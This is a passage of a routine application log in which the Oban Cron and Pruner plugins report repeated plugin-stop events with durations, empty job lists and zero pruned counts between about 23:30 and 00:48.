{"source":"oban","duration":1104,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:30:09.624 [info] {"source":"oban","duration":2343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:39.627 [info] {"source":"oban","duration":1890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:00.116 [info] {"source":"oban","duration":843,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:31:09.630 [info] {"source":"oban","duration":2437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:39.633 [info] {"source":"oban","duration":2295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:00.117 [info] {"source":"oban","duration":483,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:32:09.636 [info] {"source":"oban","duration":1959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:39.639 [info] {"source":"oban","duration":2333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:00.119 [info] {"source":"oban","duration":1394,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:33:09.642 [info] {"source":"oban","duration":1879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:39.649 [info] {"source":"oban","duration":4354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:00.121 [info] {"source":"oban","duration":1171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:34:09.651 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:39.654 [info] {"source":"oban","duration":1955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:00.122 [info] {"source":"oban","duration":366,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:35:09.657 [info] {"source":"oban","duration":1907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:39.662 [info] {"source":"oban","duration":3911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:00.123 [info] {"source":"oban","duration":728,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:36:09.666 [info] {"source":"oban","duration":3290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:39.669 [info] {"source":"oban","duration":2001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:00.125 [info] {"source":"oban","duration":480,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:37:09.671 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:39.673 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:00.128 [info] {"source":"oban","duration":2584,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:38:09.676 [info] {"source":"oban","duration":2044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:39.678 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:00.129 [info] {"source":"oban","duration":288,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:39:09.680 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:39.683 [info] {"source":"oban","duration":2228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:00.130 [info] {"source":"oban","duration":734,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:40:09.686 [info] {"source":"oban","duration":2047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:39.689 [info] {"source":"oban","duration":2066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:00.132 [info] {"source":"oban","duration":347,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:41:09.692 [info] {"source":"oban","duration":2622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:39.695 [info] {"source":"oban","duration":2057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:00.133 [info] {"source":"oban","duration":522,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:42:09.697 [info] {"source":"oban","duration":1893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:39.706 [info] {"source":"oban","duration":6901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:00.135 [info] {"source":"oban","duration":1402,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:43:09.708 [info] {"source":"oban","duration":1625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:39.710 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:00.137 [info] {"source":"oban","duration":573,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:44:09.712 [info] {"source":"oban","duration":1856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:39.716 [info] {"source":"oban","duration":2204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:00.138 [info] {"source":"oban","duration":833,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:45:09.718 [info] {"source":"oban","duration":1815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:39.721 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:00.141 [info] {"source":"oban","duration":1078,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:46:09.723 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:39.725 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:00.143 [info] {"source":"oban","duration":1026,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:47:09.728 [info] {"source":"oban","duration":2441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:39.730 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:00.144 [info] {"source":"oban","duration":450,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:48:09.732 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:39.734 [info] {"source":"oban","duration":1754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:00.145 [info] {"source":"oban","duration":546,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:49:09.736 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:39.739 [info] {"source":"oban","duration":2316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:00.147 [info] {"source":"oban","duration":722,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:50:09.741 [info] {"source":"oban","duration":1859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:39.749 [info] {"source":"oban","duration":6103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:00.148 [info] {"source":"oban","duration":578,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:51:09.752 [info] {"source":"oban","duration":2284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:39.755 [info] {"source":"oban","duration":2436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:00.149 [info] {"source":"oban","duration":697,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:52:09.757 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:39.759 [info] {"source":"oban","duration":1789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:00.151 [info] {"source":"oban","duration":669,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:53:09.763 [info] {"source":"oban","duration":2379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:39.766 [info] {"source":"oban","duration":2111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:00.153 [info] {"source":"oban","duration":417,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:54:09.768 [info] {"source":"oban","duration":1759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:39.772 [info] {"source":"oban","duration":2219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:00.154 [info] {"source":"oban","duration":452,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:55:09.775 [info] {"source":"oban","duration":2164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:39.777 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:00.155 [info] {"source":"oban","duration":465,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:56:09.781 [info] {"source":"oban","duration":1919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:39.784 [info] {"source":"oban","duration":2145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:00.156 [info] {"source":"oban","duration":396,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:57:09.787 [info] {"source":"oban","duration":2885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:39.790 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:00.157 [info] {"source":"oban","duration":683,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:58:09.792 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:39.794 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:00.160 [info] {"source":"oban","duration":1241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:59:09.796 [info] {"source":"oban","duration":1698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:39.798 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:00.161 [info] {"source":"oban","duration":515,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:00:09.800 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:39.803 [info] {"source":"oban","duration":2021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:00.162 [info] {"source":"oban","duration":365,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:01:09.806 [info] {"source":"oban","duration":1917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:39.809 [info] {"source":"oban","duration":2552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:00.163 [info] {"source":"oban","duration":488,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:02:09.812 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:39.815 [info] {"source":"oban","duration":1946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:00.164 [info] {"source":"oban","duration":473,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:03:09.817 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:39.819 [info] {"source":"oban","duration":1616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:00.166 [info] {"source":"oban","duration":1309,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:04:09.822 [info] {"source":"oban","duration":2227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:39.826 [info] {"source":"oban","duration":2274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:00.168 [info] {"source":"oban","duration":839,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:05:09.829 [info] {"source":"oban","duration":2633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:39.831 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:00.171 [info] {"source":"oban","duration":2053,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:06:09.834 [info] {"source":"oban","duration":2123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:39.837 [info] {"source":"oban","duration":2106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:00.173 [info] {"source":"oban","duration":924,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:07:09.839 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:39.841 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:00.174 [info] {"source":"oban","duration":369,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:08:09.843 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:39.845 [info] {"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:00.175 [info] {"source":"oban","duration":390,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:09:09.847 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:39.850 [info] {"source":"oban","duration":2045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:00.177 [info] {"source":"oban","duration":1330,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:10:09.853 [info] {"source":"oban","duration":2359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:39.855 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:00.178 [info] {"source":"oban","duration":544,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:11:09.858 [info] {"source":"oban","duration":2123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:39.860 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:00.179 [info] {"source":"oban","duration":596,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:12:09.862 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:39.865 [info] {"source":"oban","duration":1927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:00.180 [info] {"source":"oban","duration":419,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:13:09.868 [info] {"source":"oban","duration":2124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:39.870 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:00.181 [info] {"source":"oban","duration":562,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:14:09.872 [info] {"source":"oban","duration":1816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:39.875 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:00.183 [info] {"source":"oban","duration":549,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:15:09.877 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:39.880 [info] {"source":"oban","duration":2210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:00.184 [info] {"source":"oban","duration":537,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:16:09.882 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:39.884 [info] {"source":"oban","duration":1679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:00.188 [info] {"source":"oban","duration":3541,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:17:09.886 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:39.889 [info] {"source":"oban","duration":2154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:00.189 [info] {"source":"oban","duration":573,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:18:09.891 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:39.895 [info] {"source":"oban","duration":3663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:00.190 [info] {"source":"oban","duration":803,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:19:09.897 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:39.899 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:00.192 [info] {"source":"oban","duration":534,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:20:09.901 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:39.904 [info] {"source":"oban","duration":2511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:00.193 [info] {"source":"oban","duration":439,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:21:09.906 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:39.908 [info] {"source":"oban","duration":1735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:00.195 [info] {"source":"oban","duration":533,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:22:09.910 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:39.912 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:00.196 [info] {"source":"oban","duration":428,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:23:09.914 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:39.916 [info] {"source":"oban","duration":1759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:00.198 [info] {"source":"oban","duration":979,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:24:09.920 [info] {"source":"oban","duration":2059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:39.923 [info] {"source":"oban","duration":2212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:00.199 [info] {"source":"oban","duration":497,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:25:09.927 [info] {"source":"oban","duration":3054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:39.929 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:00.203 [info] {"source":"oban","duration":3473,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:26:09.932 [info] {"source":"oban","duration":1987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:39.936 [info] {"source":"oban","duration":3700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:00.205 [info] {"source":"oban","duration":871,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:27:09.945 [info] {"source":"oban","duration":6858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:39.948 [info] {"source":"oban","duration":2551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:00.207 [info] {"source":"oban","duration":1079,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:28:09.950 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:39.954 [info] {"source":"oban","duration":3022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:00.209 [info] {"source":"oban","duration":752,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:29:09.956 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:39.960 [info] {"source":"oban","duration":3369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:00.210 [info] {"source":"oban","duration":493,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:30:09.964 [info] {"source":"oban","duration":1974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:39.967 [info] {"source":"oban","duration":2118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:00.211 [info] {"source":"oban","duration":530,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:31:09.969 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:39.971 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:00.213 [info] {"source":"oban","duration":767,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:32:09.973 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:39.976 [info] {"source":"oban","duration":1902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:00.215 [info] {"source":"oban","duration":723,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:33:09.978 [info] {"source":"oban","duration":1848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:39.982 [info] {"source":"oban","duration":2460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:00.216 [info] {"source":"oban","duration":682,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:34:09.984 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:39.986 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:00.218 [info] {"source":"oban","duration":642,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:35:09.990 [info] {"source":"oban","duration":2573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:39.992 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:00.221 [info] {"source":"oban","duration":1763,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:36:09.995 [info] {"source":"oban","duration":1980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:39.997 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:00.224 [info] {"source":"oban","duration":1398,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:37:10.000 [info] {"source":"oban","duration":1923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:40.002 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:00.225 [info] {"source":"oban","duration":564,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:38:10.004 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:40.007 [info] {"source":"oban","duration":2051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:00.227 [info] {"source":"oban","duration":436,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:39:10.009 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:40.011 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:00.228 [info] {"source":"oban","duration":702,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:40:10.014 [info] {"source":"oban","duration":2559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:40.016 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:00.230 [info] {"source":"oban","duration":456,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:41:10.019 [info] {"source":"oban","duration":2047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:40.022 [info] {"source":"oban","duration":2390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:00.232 [info] {"source":"oban","duration":1257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:42:10.024 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:40.026 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:00.233 [info] {"source":"oban","duration":430,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:43:10.028 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:40.030 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:00.235 [info] {"source":"oban","duration":857,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:44:10.032 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:40.040 [info] {"source":"oban","duration":7126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:00.236 [info] {"source":"oban","duration":305,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:45:10.043 [info] {"source":"oban","duration":2036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:40.054 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:00.237 [info] {"source":"oban","duration":535,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:46:10.057 [info] {"source":"oban","duration":1735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:40.061 [info] {"source":"oban","duration":2982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:00.239 [info] {"source":"oban","duration":1188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:47:10.064 [info] {"source":"oban","duration":2148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:40.066 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:00.240 [info] {"source":"oban","duration":598,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 00:48:10.068 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:40.070 [info] 